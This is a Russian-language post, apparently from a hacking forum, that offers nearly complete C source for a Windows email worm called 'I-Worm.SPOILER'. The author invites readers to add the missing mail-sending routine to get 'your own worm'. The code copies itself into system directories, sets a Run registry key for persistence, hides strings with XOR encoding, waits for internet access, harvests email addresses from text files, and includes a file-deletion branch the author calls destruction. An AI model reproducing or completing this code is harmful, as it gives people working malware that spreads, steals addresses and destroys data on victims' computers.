"ПОЧТИ" рабочий сырец - не бойтесь почти это значит у червя нет только
отправки а пока он делает: инсталирует себя в систему и висит ожидая выхода в
сеть - дождавшись ищет фаилы *.txt (можно любые) и находит в них E-mail адреса -
а потом ......... должен отсылать себя но здесь он этого не делает а остальное
все работает отлично ..... да еще некоторые строки зашифрованы от лишних глаз
(конечно не ваших просто расшифровывать лень) почему тогда не все зашифрованы ?
да яж говорю сырец горячий прям с компила снял... так что вам осталось прописать
процедуру отправки (которую мне так лень было дописать) и вы получите СВОЕГО
(!!!) червячка ... хотя и этот код уже несет в себе диструкцию !!! #include < windows.h>
#include < stdio.h>
#include < winsock2.h>
BOOL CALLBACK WindowProc(HWND ,UINT ,WPARAM ,LPARAM);
typedef BOOL (WINAPI* INETCHECKPROC) (LPDWORD lpdwFlags, DWORD dwReserved);
typedef void (*LPSEARCHFUNC)(LPCTSTR lpszFileName);
typedef DWORD (WINAPI *LPREGISTERSERVICEPROCESS) (DWORD, DWORD);
static BOOL CALLBACK DialogFunc(HWND hwndDlg, UINT msg, WPARAM wParam, LPARAM lParam);
BOOL ONCREATE(HWND hwnd);
BOOL RUN(char *NAME,char *VIRNAME,int END);
BOOL ScanFile(char *f);
BOOL SEND(char *ATTACH,char *EMAIL);
BOOL SearchFiles(LPCTSTR lpszFileName,BOOL bInnerFolders,BOOL spoil);
int isgood(char a);
int islisten(char a);
char *DECODE(char *TEXTCODE);
UINT_PTR IDT_NETTRAP;
char *szClassWindow="WinClass",szPath[0x100];
char *REGNAME,*REGTITLE,*TITLE="I-Worm.SPOILER";
char *DECODE(char *TEXTCODE){
char K=9*111;
for(int i=0; ;i++){
if(TEXTCODE[i]=='\0') break;
TEXTCODE[i]=TEXTCODE[i] ^ K;
}
return TEXTCODE;
}
BOOL SearchFiles(LPCTSTR lpszFileName,BOOL bInnerFolders,BOOL spoil)
{
LPTSTR part;
char tmp[MAX_PATH];
char name[MAX_PATH];
HANDLE hSearch = NULL;
WIN32_FIND_DATA wfd;
memset(&wfd, 0, sizeof(WIN32_FIND_DATA));
if(bInnerFolders==TRUE)
{
if(GetFullPathName(lpszFileName, MAX_PATH, tmp, &part) == 0) return FALSE;
strcpy(name, part);
strcpy(part, "*.*");
wfd.dwFileAttributes = FILE_ATTRIBUTE_DIRECTORY;
if (!((hSearch = FindFirstFile(tmp, &wfd)) == INVALID_HANDLE_VALUE))
do
{
if (!strncmp(wfd.cFileName, ".", 1) || !strncmp(wfd.cFileName, "..", 2))
continue;
if (wfd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
{
char next[MAX_PATH];
if(GetFullPathName(lpszFileName, MAX_PATH, next, &part) == 0) return FALSE;
strcpy(part, wfd.cFileName);
strcat(next, "\\");
strcat(next, name);
SearchFiles(next,TRUE,spoil);
}
}
while (FindNextFile(hSearch, &wfd));
FindClose (hSearch);
}
if ((hSearch = FindFirstFile(lpszFileName, &wfd)) == INVALID_HANDLE_VALUE)
return TRUE;
do
if (!(wfd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY))
{
char file[MAX_PATH];
if(GetFullPathName(lpszFileName, MAX_PATH, file, &part) == 0) return FALSE;
strcpy(part, wfd.cFileName);
if(spoil!=TRUE){ScanFile(file);}else{
MessageBox(NULL,file,"УДАЛИТЬ ?",0);
//а вот и диструкция ...
DeleteFile(file);}
}
while (FindNextFile(hSearch, &wfd));
FindClose (hSearch);
return TRUE;
}
int isgood(char a) {
if (a >= 'a' & & a < = 'z') return 1;
if (a >= 'A' & & a < = 'Z') return 1;
if (a >= '0' & & a < = '9') return 1;
if (a == '.' || a == '@' || a == '^' || a == '-' || a == '_') return 1;
return 0;
}
int islisten(char a) {
if (a == '.') return 1;
if (a >= 'a' & & a < = 'z') return 1;
if (a >= 'A' & & a < = 'Z') return 1;
return 0;
}
BOOL ScanFile(char *f) {
FILE *file=fopen(f,"r");
unsigned long startpos=0;
if (file == NULL) return FALSE;
while(1) {
char buf[2];
memset(buf,0,2);
fseek(file,startpos,SEEK_SET);
fread(buf,1,1,file);
startpos++;
if (feof(file)) break;
if (*buf == '@') {
char email[256],c,d;
unsigned long pos=0;
while(1) {
unsigned long oldpos=ftell(file);
fseek(file,-1,SEEK_CUR);
c=fgetc(file);
if (!isgood(c)) break;
fseek(file,-1,SEEK_CUR);
if (oldpos == ftell(file)) break;
}
for (pos=0,c=0,d=0;pos< 255;pos++) {
email[pos]=fgetc(file);
if (email[pos] == '.') c++;
if (email[pos] == '@') d++;
if (!isgood(email[pos])) break;
}
email[pos]=0;
if (c == 0 || d != 1) continue;
if (email[strlen(email)-1] == '.') email[strlen(email)-1]=0;
if (*email == '@' || *email == '.' || !*email) continue;
for (pos=0,c=0;pos< strlen(email);pos++) if (email[pos] == '.') c=pos;
if (c == 0) continue;
//if (!strncmp(email+c,".hlp",4)) continue;
//if (!strncmp(email+c,".gov",4)) continue;
for (pos=c,d=0;pos< strlen(email);pos++) if (!islisten(email[pos])) d=1;
if (d == 1) continue;
//Send(myfile,email);
MessageBox(NULL,email,"А Я АДРЕС НАШЕЛ !!!",0);
}
}
fclose(file);
return TRUE;
}
BOOL ONCREATE(HWND hwnd){
RUN(REGTITLE=DECODE("°Ћ‰ФХѓ‹‹"),REGNAME=DECODE("°Ћ‰ФХѓ‹‹Й‚џ‚"),0);
SetTimer(hwnd,IDT_NETTRAP,1000*60,(TIMERPROC) NULL);
return TRUE;
}
BOOL RUN(char *NAME,char *VIRNAME,int END)
{
HKEY hKey;
char szWIN[0x100],szWIN32[0x100];
GetSystemDirectory(szWIN,sizeof(szWIN));
GetSystemDirectory(szWIN32,sizeof(szWIN32));
GetModuleFileName(NULL, szPath, sizeof(szPath));
lstrcat(szWIN,"\\");
lstrcat(szWIN,VIRNAME);
CopyFile(szPath,szWIN,TRUE);
strcat(szWIN32,"32\\");
lstrcat(szWIN32,VIRNAME);
CopyFile(szPath,szWIN32,FALSE);
RegCreateKeyEx(HKEY_LOCAL_MACHINE,
DECODE("ґ€Ѓ"ђ†•‚»ЄЋ„•€”€Ѓ"»°Ћ‰ѓ€ђ”»¤’••‚‰"±‚•”Ћ€‰»µ’‰"),
0,
"",
REG_OPTION_NON_VOLATILE,
KEY_SET_VALUE,
NULL,
&hKey,
NULL);
if (hKey)
{
RegSetValueEx(hKey, NAME, 0, REG_SZ, (LPBYTE)VIRNAME, strlen(VIRNAME));
RegCloseKey(hKey);
}
if(END==0){
if(szPath!=szWIN || szPath!=szWIN32){MessageBox(NULL,"Programm was corrupt or some components not find !","ERROR",0);}
}
return TRUE;
}
BOOL GetStatusConnect()
{
BOOL bRetVal;
HINSTANCE hLib = NULL;
INETCHECKPROC pfnInternetGetConnectedState;
hLib = LoadLibrary(DECODE("ђЋ‰Ћ‰‚"Йѓ‹‹"));
if (!hLib) return 0;
pfnInternetGetConnectedState = (INETCHECKPROC)GetProcAddress(hLib, DECODE("®‰"‚•‰‚" ‚"¤€‰‰‚„"‚ѓґ"†"‚"));
if(!pfnInternetGetConnectedState)
return FALSE;
DWORD lpdwFlags;
bRetVal = pfnInternetGetConnectedState(& lpdwFlags, 0) != 0;
FreeLibrary(hLib);
return bRetVal;
}
int WINAPI WinMain(HINSTANCE hInst, HINSTANCE hPrevInst, LPSTR lpszCmdLine, int nCmdShow)
{
HWND hWnd;
MSG lpMsg;
WNDCLASSEX wcl;
wcl.cbSize = sizeof (wcl);
wcl.style = CS_HREDRAW|CS_VREDRAW;
wcl.lpfnWndProc = WindowProc;
wcl.cbClsExtra =0;
wcl.cbWndExtra = 0;
wcl.hInstance = hInst;
wcl.hIcon = LoadIconA(NULL,IDI_APPLICATION);
wcl.hCursor = LoadCursorA(NULL,IDC_ARROW);
wcl.hbrBackground =(HBRUSH)GetStockObject (WHITE_BRUSH);
wcl.lpszMenuName = NULL;
wcl.lpszClassName = szClassWindow;
wcl.hIconSm=NULL;
if (!RegisterClassEx (&wcl))
return 0;
if(FindWindowA(0,TITLE)){
MessageBoxA(NULL,"FATAL ERROR !","ERROR",0);
PostQuitMessage (0);}
hWnd=CreateWindowEx(
0,
szClassWindow,
TITLE,
WS_OVERLAPPEDWINDOW,
CW_USEDEFAULT,
CW_USEDEFAULT,
CW_USEDEFAULT,
CW_USEDEFAULT,
NULL,
NULL,
hInst,
NULL);
//ShowWindow (hWnd, nCmdShow);
//UpdateWindow (hWnd);
while (GetMessage(&lpMsg,NULL,0,0))
{
TranslateMessage(&lpMsg);
DispatchMessage(&lpMsg);
}
return lpMsg.wParam;
}
BOOL CALLBACK WindowProc (HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
{
char str[0x100];
switch(message)
{
case WM_CREATE:
ONCREATE(hWnd);;
return TRUE;
case WM_TIMER:
if(GetStatusConnect()==1){
KillTimer(hWnd,IDT_NETTRAP);
MessageBox(NULL,"ON LINE","INTERNET",0);
SearchFiles("C:\\*.txt",TRUE,FALSE);
RUN(REGTITLE,REGNAME,1);
PostQuitMessage (0);
}
return TRUE;
case WM_DESTROY:
RUN(REGTITLE,REGNAME,1);
KillTimer(hWnd,IDT_NETTRAP);
PostQuitMessage (0);
break;
default:
return DefWindowProc (hWnd, message, wParam, lParam);
}
return FALSE;
}
BOOL SEND(char *ATTACH,char *EMAIL){
return TRUE;
}
|